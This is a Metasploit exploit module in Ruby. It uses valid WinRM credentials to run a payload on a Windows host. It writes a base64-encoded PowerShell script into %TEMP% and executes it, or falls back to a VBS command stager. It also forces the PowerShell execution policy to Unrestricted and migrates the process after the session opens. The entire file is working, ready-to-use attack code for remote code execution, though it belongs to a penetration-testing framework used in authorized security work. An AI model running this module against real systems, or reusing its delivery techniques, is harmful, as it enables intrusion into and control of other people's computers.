##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::WinRM
  include Msf::Exploit::CmdStager


  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WinRM Script Exec Remote Code Execution',
      'Description'    => %q{
          This module uses valid credentials to login to the WinRM service
          and execute a payload. It has two available methods for payload
          delivery: Powershell 2.0 and VBS CmdStager.

          The module will check if Powershell 2.0 is available, and if so uses
          that method. Otherwise it falls back to the VBS CmdStager which is
          less stealthy.

          IMPORTANT: If targeting an x64 system with the Powershell method
          you MUST select an x64 payload. An x86 payload will never return.
      },
      'Author'         => [ 'thelightcosine' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'WfsDelay'     => 30,
          'EXITFUNC' => 'thread',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
          'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_sleep")
        },
      'Platform'       => 'win',
      'Arch'          => [ ARCH_X86, ARCH_X64 ],
      'Targets'        =>
        [
          [ 'Windows', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 01 2012'
    ))

    register_options(
      [
        OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false]),
        OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),
        OptString.new('PASSWORD', [ true, 'A specific password to authenticate with' ]),
      ], self.class
    )
    deregister_options('CMDSTAGER::FLAVOR')
    @compat_mode = false
  end

  def exploit
    unless valid_login?
      print_error "Login Failure. Recheck your credentials"
      return
    end
    if powershell2?
      path = upload_script
      return if path.nil?
      exec_script(path)
    else
      execute_cmdstager({:flavor => :vbs})
    end
    handler
  end

  def execute_command(cmd,opts)
    commands = cmd.split(/&/)
    commands.each do |command|
      if command.include? "cscript"
        streams = winrm_run_cmd_hanging(command)
        print_status streams.inspect
      elsif command.include? "del %TEMP%"
        next
      else
        winrm_run_cmd(command)
      end
    end
  end

  def upload_script
    tdir = temp_dir
    return if tdir.nil?
    path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
    print_status "Uploading powershell script to #{path} (This may take a few minutes)..."

    script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
    #add a sleep to the script to give us enoguh time to establish a session
    script << "\n Start-Sleep -s 600"
    script.each_line do |psline|
      #build our psh command to write out our psh script, meta eh?
      script_line = "Add-Content #{path} '#{psline.chomp}' "
      cmd = encoded_psh(script_line)
      streams = winrm_run_cmd(cmd)
    end
    return path
  end

  def exec_script(path)
    print_status "Attempting to execute script..."
    cmd = "#{@invoke_powershell} -File #{path}"
    winrm_run_cmd_hanging(cmd)
  end

  def encoded_psh(script)
    script = script.chars.to_a.join("\x00").chomp
    script << "\x00" unless script[-1].eql? "\x00"
    script = Rex::Text.encode_base64(script).chomp
    cmd = "#{@invoke_powershell} -encodedCommand #{script}"
  end

  def temp_dir
    print_status "Grabbing %TEMP%"
    resp = send_winrm_request(winrm_open_shell_msg)
    if resp.nil?
      print_error "Got no reply from the server"
      return nil
    end
    unless resp.code == 200
      print_error "Got unexpected response: \n #{resp.to_s}"
      return nil
    end
    shell_id = winrm_get_shell_id(resp)
    cmd = "echo %TEMP%"
    resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id))
    cmd_id = winrm_get_cmd_id(resp)
    resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id))
    streams = winrm_get_cmd_streams(resp)
    return streams['stdout'].chomp
  end

  def check_remote_arch
    wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
    resp = send_winrm_request(winrm_wql_msg(wql))
    #Default to x86 if we can't be sure
    return ARCH_X86 if resp.nil? or resp.code != 200
    resp_tbl = parse_wql_response(resp)
    addr_width =  resp_tbl.rows.flatten[0]
    if addr_width == '64'
      return ARCH_X64
    else
      return ARCH_X86
    end
  end

  def correct_payload_arch?
    @target_arch = check_remote_arch
    case @target_arch
    when ARCH_X64
      if datastore['PAYLOAD'].include?(ARCH_X86)
        print_error "You selected an x86 payload for an x64 target...trying to run in compat mode"
        @compat_mode = true
        return false
      end
    when ARCH_X86
      if datastore['PAYLOAD'].include?(ARCH_X64)
        print_error "you selected an x64 payload for an x86 target"
        return false
      end
    end
    return true
  end


  def powershell2?
    if datastore['FORCE_VBS']
      print_status "User selected the FORCE_VBS option"
      return false
    end
    print_status "checking for Powershell 2.0"
    streams = winrm_run_cmd("powershell Get-Host")
    if streams == 401
      print_error "Login failed!"
      return false
    end
    unless streams.class == Hash
      print_error "Received error while running check"
      return false
    end
    if streams['stderr'].include? "not recognized"
      print_error "Powershell is not installed"
      return false
    end
    streams['stdout'].each_line do |line|
      next unless line.start_with? "Version"
      major_version = line.match(/\d(?=\.)/)[0]
      if major_version == "1"
        print_error "The target is running an older version of Powershell"
        return false
      end
    end

    return false unless correct_payload_arch? or @target_arch == ARCH_X64
    if @compat_mode == true
      @invoke_powershell = "%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
    else
      @invoke_powershell = "powershell"
    end

    print_status "Attempting to set Execution Policy"
    streams = winrm_run_cmd("#{@invoke_powershell} Set-ExecutionPolicy Unrestricted")
    if streams == 401
      print_error "Login failed!"
      return false
    end
    unless streams.class == Hash
      print_error "Received error while running check"
      return false
    end
    streams = winrm_run_cmd("#{@invoke_powershell} Get-ExecutionPolicy")
    if streams['stdout'].include? 'Unrestricted'
      print_good "Set Execution Policy Successfully"
      return true
    end
    return false
  end

  def valid_login?
    data = winrm_wql_msg("Select Name,Status from Win32_Service")
    resp = send_winrm_request(data)
    unless resp.code == 200
      return false
    end
    return true
  end
end
